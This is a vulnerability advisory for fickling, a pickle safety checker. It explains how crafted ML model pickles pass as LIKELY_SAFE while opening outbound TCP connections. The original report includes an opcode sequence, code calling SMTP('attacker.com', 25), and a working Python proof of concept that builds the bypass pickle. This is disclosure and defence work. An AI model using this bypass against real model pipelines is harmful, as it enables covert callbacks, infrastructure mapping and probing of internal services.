GHSA-83pf-v6qq-pwmr: fickling: Allowlist Bypass evades input filtering

GHSA-83pf-v6qq-pwmr LOW
Published February 20, 2026
CISO Take

fickling's pickle safety checker can be fully bypassed, allowing malicious ML model checkpoints to pass as LIKELY_SAFE while silently opening outbound TCP connections at load time. If your team uses fickling to gate model ingestion or checkpoint validation, that control is broken for all versions ≤ 0.1.7 — Root Cause 1 is patched in 0.1.8, but Root Cause 2 remains unpatched in any released version. Update immediately and add network egress monitoring on model-loading processes; do not treat fickling verdicts as a sole safety gate.

Risk Assessment

Medium-High for organizations using fickling as a security control in ML pipelines. The bypass is fully documented with a working PoC, requires no special privileges, and executes at deserialization time before any application logic runs. The generic REDUCE+EMPTY_DICT+BUILD opcode pattern means any future blocklist gap in fickling can be silently exploited using the same technique — the core logic flaw (Root Cause 2) is architectural and remains open in all released versions.

Affected Systems

Package Ecosystem Vulnerable Range Patched
fickling pip <= 0.1.7 0.1.8
620 OpenSSF 7.9 57 dependents Pushed 16d ago 100% patched ~5d to patch Full package profile →

Do you use fickling? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Moderate

Recommended Action

5 steps
  1. PATCH

    Upgrade fickling to 0.1.8 (fixes Root Cause 1 — incomplete blocklist). Note Root Cause 2 remains unpatched in all released versions; do not rely solely on fickling for security decisions.

  2. NETWORK CONTROLS

    Block outbound TCP on ports 21, 23, 25, 110, 119, 143 from model-loading hosts; alert on any unexpected socket connections from Python deserialization processes.

  3. SANDBOX ISOLATION

    Run pickle loading in containers with no outbound network access; enforce seccomp/eBPF policies blocking socket() syscalls during deserialization.

  4. FORMAT MIGRATION

    Where possible, replace pickle with safetensors or ONNX for model serialization to eliminate the entire attack surface class.

  5. SUPPLEMENTAL TOOLING

    Add picklescan alongside fickling; treat both as advisory layers, not definitive safety gates.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art.9 - Risk management system Article 15 - Accuracy, robustness, and cybersecurity
ISO 42001
8.4 - AI system lifecycle — supply chain management A.6.1.4 - Risk treatment for AI systems A.9.2 - AI system operation — monitoring and evaluation
NIST AI RMF
GOVERN-1.2 - Organizational roles and responsibilities for AI risk MANAGE-2.2 - AI risk management — known and emergent risks tracking
OWASP LLM Top 10
LLM03 - Supply Chain LLM05:2025 - Insecure Output Handling / Supply Chain Vulnerabilities

Frequently Asked Questions

What is GHSA-83pf-v6qq-pwmr?

fickling's pickle safety checker can be fully bypassed, allowing malicious ML model checkpoints to pass as LIKELY_SAFE while silently opening outbound TCP connections at load time. If your team uses fickling to gate model ingestion or checkpoint validation, that control is broken for all versions ≤ 0.1.7 — Root Cause 1 is patched in 0.1.8, but Root Cause 2 remains unpatched in any released version. Update immediately and add network egress monitoring on model-loading processes; do not treat fickling verdicts as a sole safety gate.

Is GHSA-83pf-v6qq-pwmr actively exploited?

No confirmed active exploitation of GHSA-83pf-v6qq-pwmr has been reported, but organizations should still patch proactively.

How to fix GHSA-83pf-v6qq-pwmr?

1. PATCH: Upgrade fickling to 0.1.8 (fixes Root Cause 1 — incomplete blocklist). Note Root Cause 2 remains unpatched in all released versions; do not rely solely on fickling for security decisions. 2. NETWORK CONTROLS: Block outbound TCP on ports 21, 23, 25, 110, 119, 143 from model-loading hosts; alert on any unexpected socket connections from Python deserialization processes. 3. SANDBOX ISOLATION: Run pickle loading in containers with no outbound network access; enforce seccomp/eBPF policies blocking socket() syscalls during deserialization. 4. FORMAT MIGRATION: Where possible, replace pickle with safetensors or ONNX for model serialization to eliminate the entire attack surface class. 5. SUPPLEMENTAL TOOLING: Add picklescan alongside fickling; treat both as advisory layers, not definitive safety gates.

What systems are affected by GHSA-83pf-v6qq-pwmr?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps/CI-CD pipelines, model registries.

What is the CVSS score for GHSA-83pf-v6qq-pwmr?

No CVSS score has been assigned yet.

Technical Details

NVD Description

# Our assessment `imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected. # Original report ## Summary Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as `LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`, `ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`. The bypass exploits two independent root causes described below. --- ## Root Cause 1: Incomplete blocklist (fixed in PR #233) `fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist. `fickling/analysis.py` (lines 229-248) defines the parallel `UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time: | Module | Class | Default port | Constructor side-effect | |---|---|---|---| | `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO | | `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner | | `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner | | `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting | | `telnetlib` | `Telnet` | 23 | TCP connect | | `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake | Because these module names were absent from both blocklists, `UnsafeImportsML`, `UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did not fire. **Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`. --- ## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched) ### Description `unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables that are assigned but never referenced. `UnusedVariables` analysis calls this method and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a bare `REDUCE` opcode that stores its result without using it. The flaw is at line 1183. The method iterates over `module_body` statements and, when it encounters the final `result = <expr>` assignment, breaks out of the loop immediately without first walking the right-hand side expression for `Name` references: ```python # fickling/fickle.py:1183 (current code -- vulnerable) if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # this is the return value of the program break # exits WITHOUT scanning statement.value ``` Any variable that appears only in the RHS of `result = <expr>` is therefore never added to the `used` set and is incorrectly classified as unused. ### How this enables bypass suppression When fickling processes a `REDUCE` opcode in isolation, it generates: ```python _var0 = SMTP('attacker.com', 25) result = _var0 ``` Because the loop breaks before scanning `result = _var0`, `_var0` never enters `used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`. Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated AST to: ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) # dangerous call _var1 = _var0 # BUILD step 1: intermediate reference _var1.__setstate__({}) # BUILD step 2: state call result = _var1 ``` Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent. The `__setstate__` call is excluded from `OvertlyBadEvals` because `ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls` (line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`. The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds `SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals` skips calls whose function name is in `likely_safe_imports` (lines 339-345). **Net result: zero warnings, severity `LIKELY_SAFE`.** This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched. ### Bypass opcode sequence ``` Offset Opcode Argument ------ ------ -------- 0 PROTO 4 2 GLOBAL 'smtplib' 'SMTP' 16 SHORT_BINUNICODE 'attacker.com' 30 BININT2 25 33 TUPLE2 34 REDUCE <- TCP connection opened here 35 EMPTY_DICT 36 BUILD <- suppresses UnusedVariables via flaw 37 STOP ``` Fickling's synthetic AST for this sequence (what all analysis passes inspect): ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) _var1 = _var0 _var1.__setstate__({}) result = _var1 ``` No analysis rule in fickling fires on this AST. ### Proof of Concept Requires only `pip install fickling`. Save as `poc.py` and run. ```python import socket import threading import pickle def build_bypass_pickle(host: str, port: int) -> bytes: h = host.encode("utf-8") return b"".join([ b"\x80\x04", b"csmtplib\nSMTP\n", b"\x8c" + bytes([len(h)]) + h, b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]), b"\x86", # TUPLE2 b"R", # REDUCE b"}", # EMPTY_DICT b"b", # BUILD b".", # STOP ]) def run_poc(): from fickling.analysis import check_safety from fickling.fickle import Pickled HOST, PORT = "127.0.0.1", 19902 received = [] def listener(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(1) srv.settimeout(5) try: conn, addr = srv.accept() received.append(addr) conn.close() except socket.timeout: pass srv.close() t = threading.Thread(target=listener, daemon=True) t.start() raw = build_bypass_pickle(HOST, PORT) loaded = Pickled.load(raw) result = check_safety(loaded) print(f"[*] fickling severity : {result.severity.name}") print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}") assert result.severity.name == "LIKELY_SAFE", "Bypass failed" print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed") print("[*] Calling pickle.loads() to simulate victim loading the file...") try: pickle.loads(raw) except Exception: pass t.join(timeout=5) if received: print(f"[+] Incoming TCP connection received from {received[0]}") print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE") else: print("[-] No TCP connection received (network blocked)") print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless") if __name__ == "__main__": run_poc() ``` ### Expected output ``` [*] fickling severity : LIKELY_SAFE [*] fickling is_safe : True [+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed [*] Calling pickle.loads() to simulate victim loading the file... [+] Incoming TCP connection received from ('127.0.0.1', 58412) [+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE ``` Tested on Python 3.11.1, Windows. Not OS-specific. ### Impact An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently: - **Enumerate victims** -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments - **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server - **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf - **Establish a covert channel** -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe The `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety` CLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate completely with zero warnings. ### Suggested fix Walk `statement.value` before the `break` so variables referenced only in the result assignment are correctly counted as used: ```python # fickling/fickle.py:1183 -- suggested fix if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # scan RHS before breaking so variables used only here are marked as used for node in ast.walk(statement.value): if isinstance(node, ast.Name): used.add(node.id) break ``` This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied. --- ## Affected versions All releases including `v0.1.7` (latest). Confirmed on latest `master` as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report. ## Reporter Anmol Vats

Exploitation Scenario

Adversary crafts a malicious pickle file disguised as a legitimate fine-tuned model adapter and uploads it to a public model hub or injects it via a compromised dependency. The victim org's MLOps pipeline runs fickling --check-safety on all downloaded models prior to loading — standard practice for security-conscious ML teams. The crafted file uses the documented REDUCE+EMPTY_DICT+BUILD opcode sequence with smtplib.SMTP pointing to an attacker-controlled server. fickling returns LIKELY_SAFE with zero warnings. The pipeline calls pickle.loads(); a TCP connection fires to the attacker's server, leaking the internal host IP and SMTP EHLO hostname. Repeated across a model ingestion fleet, the attacker receives a real-time map of internal infrastructure with no code execution required and no detection alerts fired.

Timeline

Published
February 20, 2026
Last Modified
February 23, 2026
First Seen
March 24, 2026

Related Vulnerabilities